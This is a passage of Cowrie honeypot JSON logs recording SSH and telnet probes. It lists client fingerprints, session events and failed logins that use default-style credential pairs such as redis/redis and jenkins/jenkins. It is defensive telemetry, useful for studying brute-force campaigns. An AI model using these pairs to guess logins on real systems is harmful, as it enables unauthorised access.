{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:41.058252Z","src_ip":"176.65.132.254","session":"d6d370c3e2b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:41.140258Z","src_ip":"176.65.132.254","session":"d6d370c3e2b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:41.384777Z","src_ip":"176.65.132.254","session":"d6d370c3e2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.1977436542511,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:42.467650Z","src_ip":"38.54.119.93","session":"1a8ce9806336","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:42.476513Z","src_ip":"176.65.132.254","session":"d6d370c3e2b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":32890,"dst_ip":"10.17.0.5","dst_port":22,"session":"304b4e4de302","protocol":"ssh","message":"New connection: 176.65.132.254:32890 (10.17.0.5:22) [session: 304b4e4de302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:45.170374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:45.177321Z","src_ip":"176.65.132.254","session":"304b4e4de302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:45.260016Z","src_ip":"176.65.132.254","session":"304b4e4de302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:45.582003Z","src_ip":"176.65.132.254","session":"304b4e4de302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:46.667455Z","src_ip":"176.65.132.254","session":"304b4e4de302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.10853958129883,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:48.893109Z","src_ip":"134.209.8.29","session":"ee0ff6696ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":32918,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad1592195f89","protocol":"ssh","message":"New connection: 176.65.132.254:32918 (10.17.0.5:22) [session: ad1592195f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:49.392943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:49.397675Z","src_ip":"176.65.132.254","session":"ad1592195f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:49.479708Z","src_ip":"176.65.132.254","session":"ad1592195f89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:49.752445Z","src_ip":"176.65.132.254","session":"ad1592195f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":10272,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9b5ce5239ea","protocol":"ssh","message":"New connection: 152.32.189.59:10272 (159.203.135.109:22) [session: e9b5ce5239ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:49.901237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:50.017770Z","src_ip":"152.32.189.59","session":"e9b5ce5239ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:50.229165Z","src_ip":"152.32.189.59","session":"e9b5ce5239ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:50.887380Z","src_ip":"176.65.132.254","session":"ad1592195f89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madmin","password":"madmin","message":"login attempt [madmin/madmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:51.089161Z","src_ip":"152.32.189.59","session":"e9b5ce5239ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:52.309947Z","src_ip":"152.32.189.59","session":"e9b5ce5239ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43524,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a76391293bf","protocol":"ssh","message":"New connection: 176.65.132.254:43524 (10.17.0.5:22) [session: 1a76391293bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:53.878828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:53.883536Z","src_ip":"176.65.132.254","session":"1a76391293bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:53.965459Z","src_ip":"176.65.132.254","session":"1a76391293bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:54.249228Z","src_ip":"176.65.132.254","session":"1a76391293bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.929126262664795,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:54.657858Z","src_ip":"134.209.8.29","session":"75808966413b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:55.980528Z","src_ip":"176.65.132.254","session":"1a76391293bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.243085861206055,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:57.792300Z","src_ip":"38.54.119.93","session":"672837a8b74e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43536,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c2c1eaf9901","protocol":"ssh","message":"New connection: 176.65.132.254:43536 (10.17.0.5:22) [session: 4c2c1eaf9901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:58.046156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:58.051090Z","src_ip":"176.65.132.254","session":"4c2c1eaf9901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:58.267426Z","src_ip":"176.65.132.254","session":"4c2c1eaf9901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:59.046794Z","src_ip":"176.65.132.254","session":"4c2c1eaf9901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:00.142830Z","src_ip":"176.65.132.254","session":"4c2c1eaf9901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46740,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c0161d4794","protocol":"ssh","message":"New connection: 176.65.132.254:46740 (10.17.0.5:22) [session: 53c0161d4794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:02.496847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:02.509442Z","src_ip":"176.65.132.254","session":"53c0161d4794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:02.593731Z","src_ip":"176.65.132.254","session":"53c0161d4794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:02.852992Z","src_ip":"176.65.132.254","session":"53c0161d4794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:03.951220Z","src_ip":"176.65.132.254","session":"53c0161d4794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.64459824562073,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:04.970343Z","src_ip":"38.54.119.93","session":"c07fd2251dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46752,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62770787fc4","protocol":"ssh","message":"New connection: 176.65.132.254:46752 (10.17.0.5:22) [session: e62770787fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:06.936297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:06.942801Z","src_ip":"176.65.132.254","session":"e62770787fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:07.021506Z","src_ip":"176.65.132.254","session":"e62770787fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:07.353765Z","src_ip":"176.65.132.254","session":"e62770787fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:08.639722Z","src_ip":"176.65.132.254","session":"e62770787fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46764,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c41155f8954","protocol":"ssh","message":"New connection: 176.65.132.254:46764 (10.17.0.5:22) [session: 8c41155f8954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:11.270143Z"}
